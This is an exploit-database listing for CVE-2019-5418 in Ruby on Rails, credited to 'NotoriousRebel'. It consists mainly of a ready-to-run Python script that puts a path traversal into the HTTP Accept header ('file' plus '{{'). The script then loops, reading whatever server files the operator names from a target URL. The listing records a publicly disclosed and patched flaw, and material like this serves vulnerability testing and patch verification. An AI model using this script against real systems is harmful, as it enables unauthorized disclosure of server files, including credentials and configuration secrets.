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zdtNotoriousRebel1337DAY-ID-32402
HistoryMar 24, 2019 - 12:00 a.m.

Rails 5.2.1 - Arbitrary File Content Disclosure Exploit

2019-03-2400:00:00
NotoriousRebel
0day.today
385

0.975 High

EPSS

Percentile

100.0%

Exploit for multiple platform in category web applications

'''
Exploit Title: File Content Disclosure on Rails
Date: CVE disclosed 3/16 today's date is 3/20
Exploit Author: NotoriousRebel
Vendor Homepage: https://rubyonrails.org/
Software Link: https://github.com/rails/rails
Version: Versions Affected: all Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1
Tested on: Rails 5.2.1 (Using ubuntu on linux subsystem for Windows)
CVE: 2019-5418
'''
import sys

try:
    import requests
except ImportError:
    print('\n\033[93m[!] Requests library not found, please install before proceeding.\n\n \033[0m')
    sys.exit(1)


def banner():
    banner = """
    ----------------------------------------------
    Arbitrary Traversal exploit for Ruby on Rails
    CVE-2019-5418
    ----------------------------------------------
    """
    print(banner)

def check_args():
    if len(sys.argv) != 2:
        print("Invalid number of arguments entered!")
        how_to_use = "python3 Bandit.py url"
        print('Use as:', how_to_use)
        sys.exit(1)


def check_url(url):
    status_code = requests.get(url)
    if status_code != 200:
        print("Url is invalid or can not be reached!")
        sys.exit(1)


def read_file(url, file):
    headers = {'Accept': file + '{{'}
    req = requests.get(url, headers=headers)
    return req


def main():
    banner()
    check_args()
    url = sys.argv[1]
    while True:
        try:
            file = input("Enter file to read (enter quit to exit): ")
        except Exception:
            file = raw_input("Enter file to read (enter quit to exit): ")
        try:
            if file.lower() == 'quit':
                break
        except Exception:
            if file == 'quit':
                break
        response = read_file(url, file)
        print(response.text)


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print('\n\n\033[93m[!] ctrl+c detected from user, quitting.\n\n \033[0m')

#  0day.today [2019-03-24]  #